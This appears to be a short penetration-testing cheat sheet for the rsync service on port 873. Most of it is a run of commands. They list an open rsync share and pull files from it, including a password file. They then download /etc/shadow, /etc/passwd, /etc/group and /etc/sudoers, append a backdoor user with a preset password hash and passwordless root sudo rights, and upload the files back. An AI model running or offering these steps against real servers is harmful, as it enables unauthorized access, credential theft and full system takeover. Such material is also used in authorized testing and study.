873 - RSYNC
Rsync is a utility for transferring and synchronizing files between two servers (usually Linux).
Last updated
rsync --list-only -a rsync://[dead:beef::0250:56ff:fe88:e5fa]:8730/var/rsync 192.168.1.171::filesrsync -r 192.168.1.171::files/tmp/rsync 192.168.1.171::files/home/test/mypassword.txt .rsync -r 192.168.1.171::files/home/test/rsync ./myfile.txt 192.168.1.171::files/home/testrsync -r ./myfolder 192.168.1.171::files/home/test# Create local work directories
mkdir demo
mkdir backup
cd demo
# Create new user’s home directory
mkdir ./myuser
rsync -r ./myuser 192.168.1.171::files/homeopenssl passwd -crypt password123rsync -R 192.168.1.171::files/etc/shadow .
cp ./etc/shadow ../backup
echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow
rsync ./etc/shadow 192.168.1.171::files/etc/rsync -R 192.168.1.171::files/etc/passwd .
cp ./etc/passwd ../backup
echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd
rsync ./etc/passwd 192.168.1.171::files/etc/rsync -R 192.168.1.171::files/etc/group .
cp ./etc/group ../backup
echo "myuser:x:1021:" >> ./etc/group
rsync ./etc/group 192.168.1.171::files/etc/rsync -R 192.168.1.171::files/etc/sudoers .
cp ./etc/sudoers ../backup
echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers
rsync ./etc/sudoers 192.168.1.171::files/etc/